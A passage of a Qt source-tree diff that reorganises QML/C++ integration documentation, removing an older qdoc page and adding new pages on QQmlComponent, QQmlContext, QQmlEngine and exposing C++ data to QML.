qml/qtbinding/loading/main.cpp findChild - -If \c objectName is used inside a delegate of a ListView, \l Repeater or some other -element that creates multiple instances of its delegates, there will be multiple children with -the same \c objectName. In this case, QObject::findChildren() can be used to find all children -with a matching \c objectName. - -\warning While it is possible to use C++ to access and manipulate QML objects deep into the -object tree, we recommend that you do not take this approach outside of application -testing and prototyping. One strength of QML and C++ integration is the ability to implement the -QML user interface separately from the C++ logic and dataset backend, and this strategy breaks if the -C++ side reaches deep into the QML components to manipulate them directly. This would make it difficult -to, for example, swap a QML view component for another view, if the new component was missing a -required \c objectName. It is better for the C++ implementation to know as little as possible about -the QML user interface implementation and the composition of the QML object tree. - - -\section2 Embedding C++ Objects into QML Components - -When loading a QML scene into a C++ application, it can be useful to directly embed C++ data into -the QML object. QQmlContext enables this by exposing data to the context of a QML -component, allowing data to be injected from C++ into QML. - -For example, here is a QML item that refers to a \c currentDateTime value that does not exist in -the current scope: - -\snippet qml/qtbinding/context/MyItem.qml 0 - -This \c currentDateTime value can be set directly by the C++ application that loads the QML -component, using QQmlContext::setContextProperty(): - -\snippet qml/qtbinding/context/main.cpp 0 - -Context properties can hold either QVariant or QObject* values. This means custom C++ objects can -also be injected using this approach, and these objects can be modified and read directly in QML. -Here, we modify the above example to embed a QObject instance instead of a QDateTime value, and the QML code -invokes a method on the object instance: - -\table -\row -\li -\snippet qml/qtbinding/context-advanced/applicationdata.h 0 -\codeline -\snippet qml/qtbinding/context-advanced/main.cpp 0 -\li -\snippet qml/qtbinding/context-advanced/MyItem.qml 0 -\endtable - -(Note that date/time values returned from C++ to QML can be formatted through -\l{QML:Qt::formatDateTime}{Qt.formatDateTime()} and associated functions.) - -If the QML item needs to receive signals from the context property, it can connect to them using the -\l Connections element. For example, if \c ApplicationData has a signal named \c -dataChanged(), this signal can be connected to using an \c onDataChanged handler within -a \l Connections object: - -\snippet qml/qtbinding/context-advanced/connections.qml 0 - -Context properties can be useful for using C++ based data models in a QML view. See the -\l {declarative/modelviews/stringlistmodel}{String ListModel}, -\l {declarative/modelviews/objectlistmodel}{Object ListModel} and -\l {declarative/modelviews/abstractitemmodel}{AbstractItemModel} models for -respective examples on using QStringListModel, QObjectList-based models and QAbstractItemModel -in QML views. - -Also see the QQmlContext documentation for more information. - - -\section2 Defining New QML Elements - -While new QML elements can be \l {Defining New Components}{defined in QML}, they can also be -defined by C++ classes; in fact, many of the core \l {QML Elements} are implemented through -C++ classes. When you create a QML object using one of these elements, you are simply creating an -instance of a QObject-based C++ class and setting its properties. - -To create a visual item that fits in with the Qt Quick elements, base your class off \l QQuickItem instead of QObject directly. -You can then implement your own painting and functionality like any other QGraphicsObject. Note that QGraphicsItem::ItemHasNoContents is set by default on QQuickItem because -it does not paint anything; you will need to clear this if your item is supposed to paint anything (as opposed to being solely for input handling or logical grouping). - -For example, here is an \c ImageViewer class with an \c image URL property: - -\snippet qml/qtbinding/newelements/imageviewer.h 0 - -Aside from the fact that it inherits QQuickItem, this is an ordinary class that could -exist outside of QML. However, once it is registered with the QML engine using qmlRegisterType(): - -\snippet qml/qtbinding/newelements/main.cpp register - -Then, any QML code loaded by your C++ application or \l{QQmlExtensionPlugin}{plugin} can create and manipulate -\c ImageViewer objects: - -\snippet qml/qtbinding/newelements/standalone.qml 0 - - -It is advised that you avoid using QGraphicsItem functionality beyond the properties documented in QQuickItem. -This is because the GraphicsView backend is intended to be an implementation detail for QML, so the QtQuick items can be moved to faster backends as they become available with no change from a QML perspective. -To minimize any porting requirements for custom visual items, try to stick to the documented properties in QQuickItem where possible. Properties QQuickItem inherits but doesn't document are classed as implementation details; they are not officially supported and may disappear between releases. - -Note that custom C++ types do not have to inherit from QQuickItem; this is only necessary if it is -a displayable item. If the item is not displayable, it can simply inherit from QObject. - -For more information on defining new QML elements, see the \l {Tutorial: Writing QML extensions with C++} -{Writing QML extensions with C++} tutorial and the -\l{Extending QML with C++} reference documentation. - - - -\section1 Exchanging Data between QML and C++ - -QML and C++ objects can communicate with one another through signals, slots and property -modifications. For a C++ object, any data that is exposed to Qt's \l{The Meta-Object System}{Meta-Object System} -- that is, properties, signals, slots and Q_INVOKABLE methods - become available to QML. On -the QML side, all QML object data is automatically made available to the meta-object system and can -be accessed from C++. - - -\section2 Calling Functions - -QML functions can be called from C++ and vice-versa. - -All QML functions are exposed to the meta-object system and can be called using -QMetaObject::invokeMethod(). Here is a C++ application that uses this to call a QML function: - -\table -\row -\li \snippet qml/qtbinding/functions-qml/MyItem.qml 0 -\li \snippet qml/qtbinding/functions-qml/main.cpp 0 -\endtable - -Notice the Q_RETURN_ARG() and Q_ARG() arguments for QMetaObject::invokeMethod() must be specified as -QVariant types, as this is the generic data type used for QML functions and return values. - -To call a C++ function from QML, the function must be either a Qt slot, or a function marked with -the Q_INVOKABLE macro, to be available to QML. In the following example, the QML code invokes -methods on the \c myObject object, which has been set using QQmlContext::setContextProperty(): - -\table -\row -\li -\snippet qml/qtbinding/functions-cpp/MyItem.qml 0 -\li -\snippet qml/qtbinding/functions-cpp/myclass.h 0 -\codeline -\snippet qml/qtbinding/functions-cpp/main.cpp 0 -\endtable - -QML supports the calling of overloaded C++ functions. If there are multiple C++ functions with the -same name but different arguments, the correct function will be called according to the number and -the types of arguments that are provided. - - -\section2 Receiving Signals - -All QML signals are automatically available to C++, and can be connected to using QObject::connect() -like any ordinary Qt C++ signal. In return, any C++ signal can be received by a QML object using -\l {Signal Handlers}{signal handlers}. - -Here is a QML component with a signal named \c qmlSignal. This signal is connected to a C++ object's -slot using QObject::connect(), so that the \c cppSlot() method is called whenever the \c qmlSignal -is emitted: - -\table -\row -\li -\snippet qml/qtbinding/signals-qml/MyItem.qml 0 -\li -\snippet qml/qtbinding/signals-qml/myclass.h 0 -\codeline -\snippet qml/qtbinding/signals-qml/main.cpp 0 -\endtable - -To connect to Qt C++ signals from within QML, use a signal handler with the \c on<SignalName> syntax. -If the C++ object is directly creatable from within QML (see \l {Defining new QML elements} above) -then the signal handler can be defined within the object declaration. In the following example, the -QML code creates a \c ImageViewer object, and the \c imageChanged and \c loadingError signals of the -C++ object are connected to through \c onImagedChanged and \c onLoadingError signal handlers in QML: - -\table -\row -\li - -\snippet qml/qtbinding/signals-cpp/imageviewer.h start -\dots 4 -\snippet qml/qtbinding/signals-cpp/imageviewer.h end - -\li -\snippet qml/qtbinding/signals-cpp/standalone.qml 0 -\endtable - -(Note that if a signal has been declared as the NOTIFY signal for a property, QML allows it to be -received with an \c on<Property>Changed handler even if the signal's name does not follow the \c -<Property>Changed naming convention. In the above example, if the "imageChanged" signal was named -"imageModified" instead, the \c onImageChanged signal handler would still be called.) - -If, however, the object with the signal is not created from within the QML code, and the QML item only has a -reference to the created object - for example, if the object was set using -QQmlContext::setContextProperty() - then the \l Connections element can be used -instead to create the signal handler: - -\table -\row -\li \snippet qml/qtbinding/signals-cpp/main.cpp connections -\li \snippet qml/qtbinding/signals-cpp/MyItem.qml 0 -\endtable - -C++ signals can use enum values as parameters provided that the enum is declared in the -class that is emitting the signal, and that the enum is registered using Q_ENUMS. -See \l {Using enumerations of a custom type} below for details. - - -\section2 Modifying Properties - -Any properties declared in a QML object are automatically accessible from C++. Given a QML item -like this: - -\snippet qml/qtbinding/properties-qml/MyItem.qml 0 - -The value of the \c someNumber property can be set and read using QQmlProperty, or -QObject::setProperty() and QObject::property(): - -\snippet qml/qtbinding/properties-qml/main.cpp 0 - -You should always use QObject::setProperty(), QQmlProperty or QMetaProperty::write() to -change a QML property value, to ensure the QML engine is made aware of the property change. For example, -say you have a custom element \c PushButton with a \c buttonText property that internally reflects -the value of a \c m_buttonText member variable. Modifying the member variable directly like this is -not a good idea: - -\badcode -// BAD! -QQmlComponent component(engine, "MyButton.qml"); -PushButton *button = qobject_cast<PushButton*>(component.create()); -button->m_buttonText = "Click me"; -\endcode - -Since the value is changed directly, this bypasses Qt's \l{The Meta-Object System}{meta-object system} -and the QML engine is not made aware of the property change. This means property bindings to -\c buttonText would not be updated, and any \c onButtonTextChanged handlers would not be called. - - -\target properties-cpp - -Any \l {The Property System}{Qt properties} - that is, those declared with the Q_PROPERTY() -macro - are accessible from QML. Here is a modified version of the \l {Embedding C++ objects into -QML components}{earlier example} on this page; here, the \c ApplicationData class has a \c backgroundColor -property. This property can be written to and read from QML: - -\table -\row -\li \snippet qml/qtbinding/properties-cpp/applicationdata.h 0 -\li \snippet qml/qtbinding/properties-cpp/MyItem.qml 0 -\endtable - -Notice the \c backgroundColorChanged signal is declared as the NOTIFY signal for the -\c backgroundColor property. If a Qt property does not have an associated NOTIFY signal, -the property cannot be used for \l{Property Binding in QML}, as the QML engine would not be -notified when the value changes. If you are using custom types in QML, make sure their -properties have NOTIFY signals so that they can be used in property bindings. - -See \l {Tutorial: Writing QML extensions with C++} for further details and examples -on using Qt properties with QML. - - -\section1 Supported data types - -Any C++ data that is used from QML - whether as custom properties, or parameters for signals or -functions - must be of a type that is recognizable by QML. - -By default, QML recognizes the following data types: - -\list -\li bool -\li unsigned int, int -\li float, double, qreal -\li QString -\li QUrl -\li QColor -\li QDate, QTime, QDateTime -\li QPoint, QPointF -\li QSize, QSizeF -\li QRect, QRectF -\li QVariant -\li QVariantList, QVariantMap -\li QObject* -\li Enumerations declared with Q_ENUMS() -\endlist - -To allow a custom C++ type to be created or used in QML, the C++ class must be registered as a QML -type using qmlRegisterType(), as shown in the \l {Defining new QML elements} section above. - - -\section2 JavaScript Arrays and Objects - -There is built-in support for automatic type conversion between QVariantList and JavaScript -arrays, and QVariantMap and JavaScript objects. - -For example, the function defined in QML below left expects two arguments, an array and an object, and prints -their contents using the standard JavaScript syntax for array and object item access. The C++ code -below right calls this function, passing a QVariantList and a QVariantMap, which are automatically -converted to JavaScript array and object values, repectively: - -\table -\header -\li Type -\li String format -\li Example -\row -\li \snippet qml/qtbinding/variantlistmap/MyItem.qml 0 -\li \snippet qml/qtbinding/variantlistmap/main.cpp 0 -\endtable - -This produces output like: - -\code -Array item: 10 -Array item: #00ff00 -Array item: bottles -Object item: language = QML -Object item: released = Tue Sep 21 2010 00:00:00 GMT+1000 (EST) -\endcode - -Similarly, if a C++ type uses a QVariantList or QVariantMap type for a property or method -parameter, the value can be created as a JavaScript array or object in the QML -side, and is automatically converted to a QVariantList or QVariantMap when it is passed to C++. - - -\section2 Using Enumerations of a Custom Type - -To use an enumeration from a custom C++ component, the enumeration must be declared with Q_ENUMS() to -register it with Qt's meta object system. For example, the following C++ type has a \c Status enum: - -\snippet qml/qtbinding/enums/imageviewer.h start -\snippet qml/qtbinding/enums/imageviewer.h end - -Providing the \c ImageViewer class has been registered using qmlRegisterType(), its \c Status enum can -now be used from QML: - -\snippet qml/qtbinding/enums/standalone.qml 0 - -The C++ type must be registered with QML to use its enums. If your C++ type is not instantiable, it -can be registered using qmlRegisterUncreatableType(). To be accessible from QML, the names of enum values -must begin with a capital letter. - -See the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++} tutorial and -the \l{Extending QML with C++} reference documentation for -more information. - - -\section2 Using Enumeration Values as Signal and Method Parameters - -C++ signals may pass enumeration values as signal parameters to QML, providing that the enumeration -and the signal are declared within the same class, or that the enumeration value is one of those declared -in the \l {Qt}{Qt Namespace}. - -Likewise, invokable C++ method parameters may be enumeration values providing -that the enumeration and the method are declared within the same class, or that -the enumeration value is one of those declared in the \l {Qt}{Qt Namespace}. - -Additionally, if a C++ signal with an enum parameter should be connectable to a QML function using the -\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals}{connect()} -function, the enum type must be registered using qRegisterMetaType(). - -For QML signals, enum values may be used as signal parameters using the \c int type: - -\snippet qml/qtbinding/enums/standalone.qml 1 - - -\section2 Automatic Type Conversion from Strings - -As a convenience, some basic types can be specified in QML using format strings to make it easier to -pass simple values from QML to C++. - -\table -\header -\li Type -\li String format -\li Example -\row -\li QColor -\li Color name, "#RRGGBB", "#RRGGBBAA" -\li "red", "#ff0000", "#ff000000" -\row -\li QDate -\li "YYYY-MM-DD" -\li "2010-05-31" -\row -\li QPoint -\li "x,y" -\li "10,20" -\row -\li QRect -\li "x,y,WidthxHeight" -\li "50,50,100x100" -\row -\li QSize -\li "WidthxHeight" -\li "100x200" -\row -\li QTime -\li "hh:mm:ss" -\li "14:22:55" -\row -\li QUrl -\li URL string -\li "http://www.example.com" -\row -\li QVector3D -\li "x,y,z" -\li "0,1,0" -\row -\li Enumeration value -\li Enum value name -\li "AlignRight" -\endtable - -(More details on these string formats and types can be found in the -\l {QML Basic Types}{basic type documentation}.) - -These string formats can be used to set QML \c property values and pass arguments to C++ -functions. This is demonstrated by various examples on this page; in the above -\l{#properties-cpp}{Qt properties example}, the \c ApplicationData class has a \c backgroundColor -property of a QColor type, which is set from the QML code with the string "red" rather rather -than an actual QColor object. - -If it is preferred to pass an explicitly-typed value rather than a string, the global -\l{QmlGlobalQtObject}{Qt object} provides convenience functions for creating some of the object -types listed above. For example, \l{QML:Qt::rgba()}{Qt.rgba()} creates a QColor value from four -RGBA values. The QColor returned from this function could be used instead of a string to set -a QColor-type property or to call a C++ function that requires a QColor parameter. - - -\section1 Writing QML plugins - -The Qt Declarative module includes the QQmlExtensionPlugin class, which is an abstract -class for writing QML plugins. This allows QML extension types to be dynamically loaded into -QML applications. - -See the QQmlExtensionPlugin documentation and \l {How to Create Qt Plugins} for more -details. - - -\section1 Managing resource files with the Qt resource system - -The \l {The Qt Resource System}{Qt resource system} allows resource files to be stored as -binary files in an application executable. This can be useful when building a mixed -QML/C++ application as it enables QML files (as well as other resources such as images -and sound files) to be referred to through the resource system URI scheme rather than -relative or absolute paths to filesystem resources. Note, however, that if you use the resource -system, the application executable must be re-compiled whenever a QML source file is changed -in order to update the resources in the package. - -To use the resource system in a mixed QML/C++ application: - -\list -\li Create a \c .qrc \l {The Qt Resource System}{resource collection file} that lists resource - files in XML format -\li From C++, load the main QML file as a resource using the \c :/ prefix or as a URL with the - \c qrc scheme -\endlist - -Once this is done, all files specified by relative paths in QML will be loaded from -the resource system instead. Use of the resource system is completely transparent to -the QML layer; this means all QML code should refer to resource files using relative -paths and should \e not use the \c qrc scheme. This scheme should only be used from -C++ code for referring to resource files. - -Here is a application packaged using the \l {The Qt Resource System}{Qt resource system}. -The directory structure looks like this: - -\code -project - |- example.qrc - |- main.qml - |- images - |- background.png - |- main.cpp - |- project.pro -\endcode - -The \c main.qml and \c background.png files will be packaged as resource files. This is -done in the \c example.qrc resource collection file: - -\quotefile qml/qtbinding/resources/example.qrc - -Since \c background.png is a resource file, \c main.qml can refer to it using the relative -path specified in \c example.qrc: - -\snippet qml/qtbinding/resources/main.qml 0 - -To allow QML to locate resource files correctly, the \c main.cpp loads the main QML -file, \c main.qml, as a resource file using the \c qrc scheme: - -\snippet qml/qtbinding/resources/main.cpp 0 - -Finally \c project.pro uses the RESOURCES variable to indicate that \c example.qrc should -be used to build the application resources: - -\quotefile qml/qtbinding/resources/resources.pro - -See \l {The Qt Resource System} for more information. - -*/ - - diff --git a/src/qml/doc/src/cppclasses/component.qdoc b/src/qml/doc/src/cppclasses/component.qdoc new file mode 100644 index 0000000000..cc4f6b5f1c --- /dev/null +++ b/src/qml/doc/src/cppclasses/component.qdoc @@ -0,0 +1,85 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-cppclasses-component.html +\title Qt QML Module C++ Classes - QQmlComponent +\brief Description of QQmlComponent + + \section2 Loading QML Components from C++ + + A QML document can be loaded with QQmlComponent or QQuickView. + QQmlComponent loads a QML component as a C++ QObject; + QQuickView also does this, but additionally loads the QML component + directly into a QQuickCanvas which displays visual QML object types + provided by Qt Quick, or object types derived from those. + It is convenient for loading a displayable + QML component as a root QWindow. + + For example, suppose there is a \c MyItem.qml file that looks like this: + + \snippet qml/qtbinding/loading/MyItem.qml start + \snippet qml/qtbinding/loading/MyItem.qml end + + This QML document can be loaded with QQmlComponent or + QQuickView with the following C++ code. Using a QQmlComponent + requires calling QQmlComponent::create() to create a new instance of + the component, while a QQuickView automatically creates an instance of + the component, which is accessible via QQuickView::rootObject(): + + \table + \row + \li + \snippet qml/qtbinding/loading/main.cpp QQmlComponent-a + \dots 0 + \snippet qml/qtbinding/loading/main.cpp QQmlComponent-b + \li + \snippet qml/qtbinding/loading/main.cpp QQuickView + \endtable + + This \c object is the instance of the \c MyItem.qml component that has been + created. You can now modify the item's properties using + QObject::setProperty() or QQmlProperty: + + \snippet qml/qtbinding/loading/main.cpp properties + + Alternatively, you can cast the object to its actual type and call functions + with compile-time safety. In this case the base object of \c MyItem.qml is + an \l Item, which is defined by the QQuickItem class: + + \snippet qml/qtbinding/loading/main.cpp cast + + You can also connect to any signals or call functions defined in the + component using QMetaObject::invokeMethod() and QObject::connect(). See \l + {Interacting with Objects defined in QML from C++} for further details. + + + + + + + +*/ diff --git a/src/qml/doc/src/cppclasses/context.qdoc b/src/qml/doc/src/cppclasses/context.qdoc new file mode 100644 index 0000000000..0745da3737 --- /dev/null +++ b/src/qml/doc/src/cppclasses/context.qdoc @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-cppclasses-context.html +\title Qt QML Module C++ Classes - QQmlContext +\brief Description of QQmlContext + + + + + \section2 Embedding C++ Objects into QML Components + + When loading a QML scene into a C++ application, it can be useful to + directly embed C++ data into the QML object. QQmlContext enables + this by exposing data to the context of a QML component, allowing data to be + injected from C++ into QML. + + For example, here is a QML item that refers to a \c currentDateTime value + that does not exist in the current scope: + + \snippet qml/qtbinding/context/MyItem.qml 0 + + This \c currentDateTime value can be set directly by the C++ application + that loads the QML component, using + QQmlContext::setContextProperty(): + + \snippet qml/qtbinding/context/main.cpp 0 + + Context properties can hold either QVariant or QObject* values. This means + custom C++ objects can also be injected using this approach, and these + objects can be modified and read directly in QML. Here, we modify the above + example to embed a QObject instance instead of a QDateTime value, and the + QML code invokes a method on the object instance: + + \table + \row + \li + \snippet qml/qtbinding/context-advanced/applicationdata.h 0 + \codeline + \snippet qml/qtbinding/context-advanced/main.cpp 0 + \li + \snippet qml/qtbinding/context-advanced/MyItem.qml 0 + \endtable + + (Note that date/time values returned from C++ to QML can be formatted through + \l{QML:Qt::formatDateTime}{Qt.formatDateTime()} and associated functions.) + + If the QML item needs to receive signals from the context property, it can + connect to them using the \l Connections element. For example, if \c + ApplicationData has a signal named \c dataChanged(), this signal can be + connected to using an \c onDataChanged handler within a \l Connections + object: + + \snippet qml/qtbinding/context-advanced/connections.qml 0 + + Context properties can be useful for using C++ based data models in a QML view. See the + \l {quick/modelviews/stringlistmodel}{String ListModel}, + \l {quick/modelviews/objectlistmodel}{Object ListModel} and + \l {quick/modelviews/abstractitemmodel}{AbstractItemModel} models for + respective examples on using QStringListModel, QObjectList-based models and QAbstractItemModel + in QML views. + + Also see the QQmlContext documentation for more information. + + + + + + + + +*/ diff --git a/src/qml/doc/src/cppclasses/engine.qdoc b/src/qml/doc/src/cppclasses/engine.qdoc new file mode 100644 index 0000000000..7bb40f7b64 --- /dev/null +++ b/src/qml/doc/src/cppclasses/engine.qdoc @@ -0,0 +1,62 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-cppclasses-engine.html +\title Qt QML Module C++ Classes - QQmlEngine +\brief Description of QQmlEngine + + +The QML engine runs and executes QML +applications. The engine loads, instantiates, and executes the QML context as +specified in QML files, plugins, or applications. + + + A QQmlEngine allows the configuration of global settings that + apply to all of its QML component instances: for example, the + QNetworkAccessManager to be used for network communications, and the + file path to be used for persistent storage. + + QQmlComponent is used to load QML documents. Each + QQmlComponent instance represents a single document. A component + can be created from the URL or file path of a QML document, or the raw + QML code of the document. Component instances are instatiated through + the QQmlComponent::create() method, like this: + + \code + QQmlEngine engine; + QQmlComponent component(&engine, QUrl::fromLocalFile("MyRectangle.qml")); + QObject *rectangleInstance = component.create(); + + // ... + delete rectangleInstance; + \endcode + + QML documents can also be loaded using QQuickView. + + + +*/ diff --git a/src/qml/doc/src/cppclasses/topic.qdoc b/src/qml/doc/src/cppclasses/topic.qdoc new file mode 100644 index 0000000000..24d0674f2b --- /dev/null +++ b/src/qml/doc/src/cppclasses/topic.qdoc @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-cppclasses-topic.html +\title C++ Classes Provided By The Qt QML Module +\brief Overview of the C++ classes provided by the Qt QML module + +The Qt QML module provides C++ classes which implement the QML framework. +Clients can use these classes to interact with the QML run-time (for example, +by injecting data or invoking methods on objects), and to instantiate a +hierarchy of objects from a QML document. + +\section1 The QQmlEngine Class + +The QQmlEngine class provides an engine which can manage a hierarchy of objects +which is defined in a QML document. It provides a root QML context within +which expressions are evaluated, and ensures that properties of objects are +updated correctly when required. + +See \l{qtqml-cppclasses-engine.html}{Qt QML Module C++ Classes - QQmlEngine} +for in-depth information about QQmlEngine. + +\section1 The QQmlComponent Class + +The QQmlComponent class is used to load a QML document. It requires a +QQmlEngine in order to instantiate the hierarchy of objects defined in the QML +document. + +See +\l{qtqml-cppclasses-component.html}{Qt QML Module C++ Classes - QQmlComponent} +for in-depth information about QQmlComponent. + +\section1 The QQmlContext Class + +The QQmlContext class provides a context for object instantiation and +expression evaluation. All objects are instantiated in a particular context, +and all of the expressions which are evaluated while an application is running +are evaluated within a particular context. This context defines how symbols +are resolved, and thus which values the expression operates on. + +See \l{qtqml-cppclasses-context.html}{Qt QML Module C++ Classes - QQmlContext} +for in-depth information about QQmlContext. + +*/ diff --git a/src/qml/doc/src/cppintegration/data.qdoc b/src/qml/doc/src/cppintegration/data.qdoc new file mode 100644 index 0000000000..cb7af045ab --- /dev/null +++ b/src/qml/doc/src/cppintegration/data.qdoc @@ -0,0 +1,882 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-cppintegration-data.html +\title Exposing Data From C++ To QML +\brief Description of how to expose data from C++ to QML + + +// XXX TODO The content of "Exposing C++ Functionality To QML" and +// "Exposing Data From C++ To QML" should probably be grouped together +// on the same page, or separated in a more distinct way. +// [CA]: I'm not so sure. Functions vs Data is separate and distinct. +// I like the separation of pages, to be honest. + + +\section1 Ownership Semantics + +The ownership of data transferred from C++ to QML always remains with C++ in all +cases, except for one (where a QObject is returned from a method invocation). +More information about that possible ownership change is included +below. Furthermore, QML respects the normal QObject parent ownership +semantics of Qt C++, and won't ever take ownership of a QObject which +already has a parent. + +\section1 Context Properties + +Data from C++ may be exposed to QML via context properties. +Since all expressions evaluated in QML are evaluated in a +particular context, if the context is modified, all bindings +in that context will be re-evaluated, and thus this method +should be used with care (or only during initialization). + +\section1 Instance Property Access + +Data from a registered C++ type may be exposed as a property +which has been declared using the Q_PROPERTY macro. Such a +property will be accessible from QML code. + + + +\target properties-cpp + +Any \l {The Property System}{Qt properties} - that is, those declared with the Q_PROPERTY() +macro - are accessible from QML. Here is a modified version of the \l {Embedding C++ objects into +QML components}{earlier example} on this page; here, the \c ApplicationData class has a \c backgroundColor +property. This property can be written to and read from QML: + +\table +\row +\li \snippet qml/qtbinding/properties-cpp/applicationdata.h 0 +\li \snippet qml/qtbinding/properties-cpp/MyItem.qml 0 +\endtable + +Notice the \c backgroundColorChanged signal is declared as the NOTIFY signal for the +\c backgroundColor property. If a Qt property does not have an associated NOTIFY signal, +the property cannot be used for \l{Property Binding}, as the QML engine would not be +notified when the value changes. If you are using custom types in QML, make sure their +properties have NOTIFY signals so that they can be used in property bindings. + +See \l {Tutorial: Extending QML with C++} for further details and examples +on using Qt properties with QML. + + + + +\section1 Supported data types + +Any C++ data that is used from QML - whether as custom properties, or parameters for signals or +functions - must be of a type that is recognizable by QML. + +By default, QML recognizes the following data types: + +// XXX TODO This list should refer to "QML Basic Types" list to refer to the type conversions + +\list +\li bool +\li unsigned int, int +\li float, double, qreal +\li QString +\li QUrl +\li QColor +\li QDate, QTime, QDateTime +\li QPoint, QPointF +\li QSize, QSizeF +\li QRect, QRectF +\li QVariant +\li QVariantList, QVariantMap +\li QObject* +\li Enumerations declared with Q_ENUMS() +\endlist + +To allow a custom C++ type to be created or used in QML, the C++ class must be registered as a QML +type using qmlRegisterType(), as shown in the \l {Defining new QML elements} section above. + + + + +\section2 JavaScript Arrays and Objects + +There is built-in support for automatic type conversion between QVariantList and JavaScript +arrays, and QVariantMap and JavaScript objects. + +For example, the function defined in QML below left expects two arguments, an array and an object, and prints +their contents using the standard JavaScript syntax for array and object item access. The C++ code +below right calls this function, passing a QVariantList and a QVariantMap, which are automatically +converted to JavaScript array and object values, repectively: + +\table +\header +\li Type +\li String format +\li Example +\row +\li \snippet qml/qtbinding/variantlistmap/MyItem.qml 0 +\li \snippet qml/qtbinding/variantlistmap/main.cpp 0 +\endtable + +This produces output like: + +\code +Array item: 10 +Array item: #00ff00 +Array item: bottles +Object item: language = QML +Object item: released = Tue Sep 21 2010 00:00:00 GMT+1000 (EST) +\endcode + +Similarly, if a C++ type uses a QVariantList or QVariantMap type for a property or method +parameter, the value can be created as a JavaScript array or object in the QML +side, and is automatically converted to a QVariantList or QVariantMap when it is passed to C++. + + +\section2 Using Enumerations of a Custom Type + +To use an enumeration from a custom C++ component, the enumeration must be declared with Q_ENUMS() to +register it with Qt's meta object system. For example, the following C++ type has a \c Status enum: + +\snippet qml/qtbinding/enums/imageviewer.h start +\snippet qml/qtbinding/enums/imageviewer.h end + +Providing the \c ImageViewer class has been registered using qmlRegisterType(), its \c Status enum can +now be used from QML: + +\snippet qml/qtbinding/enums/standalone.qml 0 + +The C++ type must be registered with QML to use its enums. If your C++ type is not instantiable, it +can be registered using qmlRegisterUncreatableType(). To be accessible from QML, the names of enum values +must begin with a capital letter. + +See the \l {Tutorial: Extending QML with C++}{Writing QML extensions with C++} tutorial and +the \l{Extending QML with C++} reference documentation for +more information. + + +\section2 Using Enumeration Values as Signal and Method Parameters + +C++ signals may pass enumeration values as signal parameters to QML, providing that the enumeration +and the signal are declared within the same class, or that the enumeration value is one of those declared +in the \l {Qt}{Qt Namespace}. + +Likewise, invokable C++ method parameters may be enumeration values providing +that the enumeration and the method are declared within the same class, or that +the enumeration value is one of those declared in the \l {Qt}{Qt Namespace}. + +Additionally, if a C++ signal with an enum parameter should be connectable to a QML function using the +\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals}{connect()} +function, the enum type must be registered using qRegisterMetaType(). + +For QML signals, enum values may be used as signal parameters using the \c int type: + +\snippet qml/qtbinding/enums/standalone.qml 1 + + + + +\section2 Automatic Type Conversion from Strings + +As a convenience, some basic types can be specified in QML using format strings to make it easier to +pass simple values from QML to C++. + +\table +\header +\li Type +\li String format +\li Example +\row +\li QColor +\li Color name, "#RRGGBB", "#RRGGBBAA" +\li "red", "#ff0000", "#ff000000" +\row +\li QDate +\li "YYYY-MM-DD" +\li "2010-05-31" +\row +\li QPoint +\li "x,y" +\li "10,20" +\row +\li QRect +\li "x,y,WidthxHeight" +\li "50,50,100x100" +\row +\li QSize +\li "WidthxHeight" +\li "100x200" +\row +\li QTime +\li "hh:mm:ss" +\li "14:22:55" +\row +\li QUrl +\li URL string +\li "http://www.example.com" +\row 